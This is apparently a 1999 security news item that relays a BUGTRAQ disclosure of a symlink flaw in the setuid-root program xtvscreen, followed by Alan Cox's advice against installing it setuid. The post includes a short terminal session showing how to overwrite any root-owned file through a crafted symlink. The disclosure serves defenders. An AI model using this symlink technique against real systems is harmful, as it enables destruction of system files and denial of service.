xtvscreen, shipped setuid root, provides security holeFeb 19, 1999, 07:34 (0 Talkback[s])
Andre Cruz wrote in to BUGTRAQ with this:
You can use xtvscreen to overwrite any file on the system.
root@korn:/tmp > ls -l exp -rw-r--r-- 1 root root 4 Feb 18 15:42 exp edevil@korn:~ > ln -s /tmp/exp pic000.pnm edevil@korn:~ > xtvscreen Sound mixer initialized ! Using Visual TrueColor msize: 0x00640000 /* Start->Capture goes here Start->Snapshot goes here */ + Stopped xtvscreen edevil@korn:~ > cd /tmp edevil@korn:/tmp > ls -l exp -rw-r--r-- 1 root root 453135 Feb 18 15:47 exp edevil@korn:/tmp > I don't know how to write arbitrary data to the file but it can be used for DoS. If this is already known I'm sorry.
Alan Cox responded with:
Xtvscreen really should not be installed setuid. The only reason to do so is because something has to tell the capture card where the frame buffer is. This should be the Xserver (patched), or one of the small helper applications available for this.
Thanks to Paul McNeal for the tip-off. -lt ed
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